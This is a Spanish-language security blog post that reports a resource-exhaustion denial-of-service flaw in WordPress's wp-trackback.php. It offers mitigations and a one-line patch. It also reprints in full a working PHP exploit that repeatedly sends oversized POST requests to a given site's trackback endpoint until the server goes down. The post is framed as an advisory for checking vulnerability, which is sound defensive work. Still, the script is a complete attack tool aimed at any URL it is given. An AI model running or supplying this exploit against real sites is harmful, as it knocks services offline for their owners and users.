Denegacion de Servicio en WordPress

Jose Carlos Norte acaba de publicar en su blog, un nuevo fallo de seguridad descubierto en el popular wordpress, este fallo permite a a cualquier persona de forma sencilla dejar fuera de linea un blog con WordPress causando una denegacion de servicio.

El bug se encuentra en el archivo wp-trackback.php quien no valida adecuadamente la variable $charset, permitiendo ingresar una peticion POST especialmente diseñada con una cantidad indeterminada de parámetros, causando un  gran consumo de memoria y CPU hasta que estos se agoten y el servidor deja de responder.

Todas las versiones de WordPress hasta el momento son vulnerables a este fallo (y según Jose Carlos, el parche que publicaría WordPress tampoco lo soluciona), aunque dependiendo de la configuración individual de cada servidor, el problema es mayor o menor, por ejemplo un servido con mod_security, no seria vulnerable ya que  bloquearía estas peticiones mal intencionadas,  también se pueden mitigar los daños con una adecuada configuración del parámetro php_memory_limit del php.ini para evitar que tus desarrollos web utilicen mas memoria de la que en realidad necesitan, podrías también utilizar el WP-IDS un mod para WordPress del PHPIDS (reseñado el la guía blanca de seguridad en wordpress WordPress Security Whitepaper) el cual bloquearía no solo estas peticiones sino muchos mas problemas de seguridad.

Les dejo la solución propuesta por Jose Carlos en su blog para este problema:

Reemplazar en la linea 45 del archivo wp-trackback.php esto
$charset = $_POST['charset'];

por esto
$charset = str_replace(”,”,””,$_POST[‘charset’]);
if(is_array($charset)) { exit; }

Y el exploit para verificar que somos vulnerables:

<?php
//wordpress Resource exhaustion Exploit
//http://rooibo.wordpress.com/
//[email protected] contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo “You need to specify a url to attack\n”;
exit;
}

$url = $argv[1];

$data = parse_url($url);
if(count($data) < 2) { echo “The url should have http:// in front of it, and should be complete.\n”; exit; } if(count($data) == 2) { $path = ”; } else { $path = $data[‘path’]; } $path = trim($path,’/’); $path .= ‘/wp-trackback.php’; if($path{0} != ‘/’) { $path = ‘/’.$path; } $b = “”; $b = str_pad($b,140000,’ABCEDFG’); $b = utf8_encode($b); $charset = “”; $charset = str_pad($charset,140000,”UTF-8,”); $str = ‘charset=’.urlencode($charset); $str .= ‘&url=www.example.com’; $str .= ‘&title=’.$b; $str .= ‘&blog_name=lol’; $str .= ‘&excerpt=lol’; $count = 0; while(1) { $fp = @fsockopen($data[‘host’],80); if(!$fp) { if($count > 0) {
echo “down!!!!\n”;
exit;
}
echo “unable to connect to: “.$data[‘host’].”\n”;
exit;
}

fputs($fp, “POST $path HTTP/1.1\r\n”);
fputs($fp, “Host: “.$data[‘host’].”\r\n”);
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
fputs($fp, “Connection: close\r\n\r\n”);
fputs($fp, $str.”\r\n\r\n”);

echo “hit!\n”;
$count++;
}

?>

Para mas informacion:
Agujero de seguridad muy grave en WordPress
Atención! BUG WordPress
WordPress Security Whitepaper

$charset = $_POST[‘charset’];

Si te ha gustado el post, compartelo y ayudanos a crecer.

Unete a nuestra Fanpage Siguenos en Twitter

Autor: DragoN

Ingeniero en Sistemas y Telecomunicaciones de la Universidad de Manizales. Information Security Researcher con más de 10 años de experiencias en Ethical Hacking, Pen Testing y Análisis Forense. Docente Universitario en Pre y Post-Grado, Speaker y Organizador de diferentes eventos de Seguridad Informática, Fundador del DragonJAR Security Conference y Fundador de DragonJAR SAS y de La Comunidad DragonJAR, una de las comunidades de seguridad informática mas grandes de habla hispana y referente en el sector.

Compartir este Artículo

Congreso Hacker Colombia

Aprende ONLINE Técnicas HACKING y Seguridad Informática guiad@ por Profesionales RECONOCIDOS con más de 10 años de experiencia REAL en el campo de la Seguridad Informática

Toma acción !AHORA¡
miles ya lo han hecho

NUNCA te enviaremos spam.

  • No necesitas conocimiento previo (De 0 a Ninja)
  • Docentes reconocidos en el medio y con experiencia REAL
  • Clases ONLINE en VIVO que luego podrás repasar si lo deseas desde cualquier parte o cualquier dispositivo
  • Contenidos EXCLUSIVOS generados por nuestros docentes
  • Contacto constante con el docente por distintos medios, antes, durante y después de las clases
  • Laboratorios en linea para que nuestros alumnos practiquen sus conocimientos sin problemas
  • Exclusivo FORO VIP de Alumnos y Ex-Alumnos donde se continúa el aprendizaje y se comparte conocimiento
  • Te entregamos un diploma de certificación por cada curso
  • Miles de ex-alumnos felices